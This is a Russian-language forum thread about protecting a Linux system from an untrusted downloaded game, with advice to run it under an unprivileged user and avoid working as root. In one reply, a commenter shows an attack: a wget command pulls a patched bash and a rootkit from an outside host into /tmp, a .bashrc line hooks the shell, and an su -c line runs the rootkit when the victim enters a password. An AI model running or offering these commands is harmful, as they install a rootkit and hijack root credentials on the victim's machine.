Как уберечься?

Запустить под специально созданным для этого пользователем.

Если сильно беспокоишься - создай юзера с полным отсутствием прав и играй только от его имени.

обычно для этих целей уже есть пользователь games, см. /etc/passwd

>обычно для этих целей уже есть пользователь games, см. /etc/passwd

Вообще-то этому пользователю принадлежит куча файлов, и данная подозрительная программа может подменить их.

Паранойя?

И вообще - не сиди под рутом...

>И вообще - не сиди под рутом...

Для того, чтобы снести систему, достаточно иметь доступ к аккаунту, из-под которого делают su/sudo...

По сабжу - презерватив руледъ. по игрушкам - пиши их сам, и пусть скачивающие бояцо!

>По сабжу - презерватив руледъ.

+1

Безопасный секс наше фсио :)

Если настроишь так, чтобы оно пароль просило, то недостаточно. ;)

>Если настроишь так, чтобы оно пароль просило, то недостаточно. ;)

Очень даже достаточно. Один из способов - тебе на компьютер закидывается пропатченный bash и rootkit:

cd /tmp; wget http://rootkit.narod.ru/bash http://rootkit.narod.ru/rootkit; chmod +x bash rootkit

В .bashrc прописывается:

if [ $0 != /tmp/bash ]; then exec /tmp/bash; fi

Когда ты наберешь su, пропатченный bash выполнит команду:

su -c '/tmp/rootkit & bash'

И пароль ты введешь именно для этой команды. :) То же самое касается sudo и ssh.

хм.... большой опыт таких проделок? сколько из них были успешными?

Практически не использовал, но для безопасности неплохо бы учитывать, что и такое возможно.